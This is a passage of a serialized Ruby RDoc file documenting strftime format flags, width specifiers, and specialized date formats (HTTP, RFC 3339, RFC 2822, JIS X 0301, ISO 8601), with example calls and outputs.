%Y') ;TI",# => "Wed Jun 29 08:32:18 -05:00 2022" ;T;0S; ; i;I" Flags;T@ o; ;[I"8Flags may affect certain formatting specifications.;T@ o; ;[I"EMultiple flags may be given with a single conversion specified; ;TI"order does not matter.;T@ S; ; i ;I"Padding Flags;T@ o;;;;[o;;0;[o; ;[I""<tt>0</tt> - Pad with zeroes:;T@ o;;[I".Time.new(10).strftime('%0Y') # => "0010" ;T;0o;;0;[o; ;[I""<tt>_</tt> - Pad with blanks:;T@ o;;[I".Time.new(10).strftime('%_Y') # => " 10" ;T;0o;;0;[o; ;[I"<tt>-</tt> - Don't pad:;T@ o;;[I",Time.new(10).strftime('%-Y') # => "10" ;T;0S; ; i ;I"Casing Flags;T@ o;;;;[o;;0;[o; ;[I" <tt>^</tt> - Upcase result:;T@ o;;[I"HTime.new(2022, 1).strftime('%B') # => "January" # No casing flag. ;TI"6Time.new(2022, 1).strftime('%^B') # => "JANUARY" ;T;0o;;0;[o; ;[I""<tt>#</tt> - Swapcase result:;T@ o;;[I"(Time.now.strftime('%p') # => "AM" ;TI"(Time.now.strftime('%^p') # => "AM" ;TI"(Time.now.strftime('%#p') # => "am" ;T;0S; ; i ;I"Timezone Flags;T@ o;;;;[o;;0;[o; ;[I"D<tt>:</tt> - Put timezone as colon-separated hours and minutes:;T@ o;;[I"-Time.now.strftime('%:z') # => "-05:00" ;T;0o;;0;[o; ;[I"O<tt>::</tt> - Put timezone as colon-separated hours, minutes, and seconds:;T@ o;;[I"0Time.now.strftime('%::z') # => "-05:00:00" ;T;0S; ; i;I"Width Specifiers;T@ o; ;[I"OThe integer width specifier gives a minimum width for the returned string:;T@ o;;[ I"OTime.new(2002).strftime('%Y') # => "2002" # No width specifier. ;TI";Time.new(2002).strftime('%10Y') # => "0000002002" ;TI"OTime.new(2002, 12).strftime('%B') # => "December" # No width specifier. ;TI";Time.new(2002, 12).strftime('%10B') # => " December" ;TI"QTime.new(2002, 12).strftime('%3B') # => "December" # Ignored if too small. ;T;0S; ; i;I"Specialized Format Strings;T@ o; ;[I"0Here are a few specialized format strings, ;TI"(each based on an external standard.;T@ S; ; i;I"HTTP Format;T@ o; ;[I"&The HTTP date format is based on ;TI"@{RFC 2616}[https://datatracker.ietf.org/doc/html/rfc2616], ;TI"Cand treats dates in the format <tt>'%a, %d %b %Y %T GMT'</tt>:;T@ o;;[ I"7d = Date.new(2001, 2, 3) # => #<Date: 2001-02-03> ;TI"%# Return HTTP-formatted string. ;TI"Chttpdate = d.httpdate # => "Sat, 03 Feb 2001 00:00:00 GMT" ;TI":# Return new date parsed from HTTP-formatted string. ;TI"7Date.httpdate(httpdate) # => #<Date: 2001-02-03> ;TI"6# Return hash parsed from HTTP-formatted string. ;TI"Date._httpdate(httpdate) ;TI"k# => {:wday=>6, :mday=>3, :mon=>2, :year=>2001, :hour=>0, :min=>0, :sec=>0, :zone=>"GMT", :offset=>0} ;T;0S; ; i;I"RFC 3339 Format;T@ o; ;[I"*The RFC 3339 date format is based on ;TI"?{RFC 3339}[https://datatracker.ietf.org/doc/html/rfc3339]:;T@ o;;[ I"7d = Date.new(2001, 2, 3) # => #<Date: 2001-02-03> ;TI"%# Return 3339-formatted string. ;TI"?rfc3339 = d.rfc3339 # => "2001-02-03T00:00:00+00:00" ;TI":# Return new date parsed from 3339-formatted string. ;TI"7Date.rfc3339(rfc3339) # => #<Date: 2001-02-03> ;TI"6# Return hash parsed from 3339-formatted string. ;TI"Date._rfc3339(rfc3339) ;TI"d# => {:year=>2001, :mon=>2, :mday=>3, :hour=>0, :min=>0, :sec=>0, :zone=>"+00:00", :offset=>0} ;T;0S; ; i;I"RFC 2822 Format;T@ o; ;[I"*The RFC 2822 date format is based on ;TI"@{RFC 2822}[https://datatracker.ietf.org/doc/html/rfc2822], ;TI"Dand treats dates in the format <tt>'%a, %-d %b %Y %T %z'</tt>]:;T@ o;;[ I"7d = Date.new(2001, 2, 3) # => #<Date: 2001-02-03> ;TI"%# Return 2822-formatted string. ;TI"Drfc2822 = d.rfc2822 # => "Sat, 3 Feb 2001 00:00:00 +0000" ;TI":# Return new date parsed from 2822-formatted string. ;TI"7Date.rfc2822(rfc2822) # => #<Date: 2001-02-03> ;TI"6# Return hash parsed from 2822-formatted string. ;TI"Date._rfc2822(rfc2822) ;TI"m# => {:wday=>6, :mday=>3, :mon=>2, :year=>2001, :hour=>0, :min=>0, :sec=>0, :zone=>"+0000", :offset=>0} ;T;0S; ; i;I"JIS X 0301 Format;T@ o; ;[ I"(The JIS X 0301 format includes the ;TI"K{Japanese era name}[https://en.wikipedia.org/wiki/Japanese_era_name], ;TI"8and treats dates in the format <tt>'%Y-%m-%d'</tt> ;TI">with the first letter of the romanized era name prefixed:;T@ o;;[I"7d = Date.new(2001, 2, 3) # => #<Date: 2001-02-03> ;TI"%# Return 0301-formatted string. ;TI"/jisx0301 = d.jisx0301 # => "H13.02.03" ;TI":# Return new date parsed from 0301-formatted string. ;TI"7Date.jisx0301(jisx0301) # => #<Date: 2001-02-03> ;TI"6# Return hash parsed from 0301-formatted string. ;TI"DDate._jisx0301(jisx0301) # => {:year=>2001, :mon=>2, :mday=>3} ;T;0S; ; i;I"#ISO 8601 Format Specifications;T@ o; ;[I"GThis section shows format specifications that are compatible with ;TI"9{ISO 8601}[https://en.wikipedia.org/wiki/ISO_8601]. ;TI":Details for various formats may be seen at the links.;T@ o; ;[I"%Examples in this section assume:;T@ o;;[I"8t = Time.now # => 2022-06-29 16:49:25.465246 -0500 ;T;0S; ; i ;I" Dates;T@ o; ;[I"HSee {ISO 8601 dates}[https://en.wikipedia.org/wiki/ISO_8601#Dates].;T@ o;;;;[ o;;0;[o; ;[I";{Years}[https://en.wikipedia.org/wiki/ISO_8601#Years]:;T@ o;;;;[o;;0;[o; ;[I"Basic year (+YYYY+):;T@ o;;[I""t.strftime('%Y') # => "2022" ;T;0o;;0;[o; ;[I"&Expanded year (<tt>±YYYYY</tt>):;T@ o;;[I"&t.strftime('+%5Y') # => "+02022" ;TI"&t.strftime('-%5Y') # => "-02022" ;T;0o;;0;[o; ;[I"M{Calendar dates}[https://en.wikipedia.org/wiki/ISO_8601#Calendar_dates]:;T@ o;;;;[o;;0;[o; ;[I"Basic date (+YYYYMMDD+):;T@ o;;[I"*t.strftime('%Y%m%d') # => "20220629" ;T;0o;;0;[o; ;[I")Extended date (<tt>YYYY-MM-DD</tt>):;T@ o;;[I".t.strftime('%Y-%m-%d') # => "2022-06-29" ;T;0o;;0;[o; ;[I".Reduced extended date (<tt>YYYY-MM</tt>):;T@ o;;[I"(t.strftime('%Y-%m') # => "2022-06" ;T;0o;;0;[o; ;[I"E{Week dates}[https://en.wikipedia.org/wiki/ISO_8601#Week_dates]:;T@ o;;;;[o;;0;[o; ;[I"*Basic date (+YYYYWww+ or +YYYYWwwD+):;T@ o;;[I"*t.strftime('%Y%Ww') # => "202226w" ;TI"+t.strftime('%Y%Ww%u') # => "202226w3" ;T;0o;;0;[o; ;[I"=Extended date (<tt>YYYY-Www</tt> or <tt>YYYY-Www-D<tt>):;T@ o;;[I"-t.strftime('%Y-%Ww') # => "2022-26w" ;TI"/t.strftime('%Y-%Ww-%u') # => "2022-26w-3" ;T;0o;;0;[o; ;[I"K{Ordinal dates}[https://en.wikipedia.org/wiki/ISO_8601#Ordinal_dates]:;T@ o;;;;[o;;0;[o; ;[I"Basic date (+YYYYDDD+):;T@ o;;[I"'t.strftime('%Y%j') # => "2022180" ;T;0o;;0;[o; ;[I"'Extended date (<tt>YYYY-DDD</tt>):;T@ o;;[I")t.strftime('%Y-%j') # => "2022-180" ;T;0S; ; i ;I" Times;T@ o; ;[I"HSee {ISO 8601 times}[https://en.wikipedia.org/wiki/ISO_8601#Times].;T@ o;;;;[o;;0;[o; ;[I"Times:;T@ o;;;;[o;;0;[o; ;[I">Basic time (+Thhmmss.sss+, +Thhmmss+, +Thhmm+, or +Thh+):;T@ o;;[ I"1t.strftime('T%H%M%S.%L') # => "T164925.465" ;TI"-t.strftime('T%H%M%S') # => "T164925" ;TI"+t.strftime('T%H%M') # => "T1649" ;TI")t.strftime('T%H') # => "T16" ;T;0o;;0;[o; ;[I"?Extended time (+Thh:mm:ss.sss+, +Thh:mm:ss+, or +Thh:mm+):;T@ o;;[I"5t.strftime('T%H:%M:%S.%L') # => "T16:49:25.465" ;TI"1t.strftime('T%H:%M:%S') # => "T16:49:25" ;TI".t.strftime('T%H:%M') # => "T16:49" ;T;0o;;0;[o; ;[I"[{Time zone designators}[https://en.wikipedia.org/wiki/ISO_8601#Time_zone_designators]:;T@ o;;;;[o;;0;[o; ;[I"/Timezone (+time+ represents a valid time, ;TI"++hh+ represents a valid 2-digit hour, ;TI"1and +mm+ represents a valid 2-digit minute):;T@ o;;;;[o;;0;[o; ;[I"IBasic timezone (<tt>time±hhmm</tt>, <tt>time±hh</tt>, or +timeZ+):;T@ o;;[I">t.strftime('T%H%M%S%z') # => "T164925-0500" ;TI"<t.strftime('T%H%M%S%z').slice(0..-3) # => "T164925-05" ;TI":t.strftime('T%H%M%SZ') # => "T164925Z" ;T;0o;;0;[o; ;[I".Extended timezone (<tt>time±hh:mm</tt>):;T@ o;;[I"5t.strftime('T%H:%M:%S%z') # => "T16:49:25-0500" ;T;0o;;0;[o; ;[I"See also:;T@ o;;;;[o;;0;[o; ;[I"a{Local time (unqualified)}[https://en.wikipedia.org/wiki/ISO_8601#Local_time_(unqualified)].;To;;0;[o; ;[I"q{Coordinated Universal Time (UTC)}[https://en.wikipedia.org/wiki/ISO_8601#Coordinated_Universal_Time_(UTC)].;To;;0;[o; ;[I"[{Time offsets from UTC}[https://en.wikipedia.org/wiki/ISO_8601#Time_offsets_from_UTC].;T@ S; ; i ;I"Combined \Date and \Time;T@ o; ;[I"�See {ISO 8601 Combined date and time representations}[https://en.wikipedia.org/wiki/ISO_8601#Combined_date_and_time_representations].;T@ o; ;[I"BAn ISO 8601 combined date and time representation may be any ;TI"*ISO 8601 date and any ISO 8601 time, ;TI"!separated by the letter +T+.;T@ o; ;[I".For the relevant +strftime+ formats, see ;TI"6{Dates}[rdoc-ref:strftime_formatting.rdoc@Dates] ;TI"@and {Times}[rdoc-ref:strftime_formatting.rdoc@Times] above.;T: @file@:0@omit_headings_from_table_of_contents_below0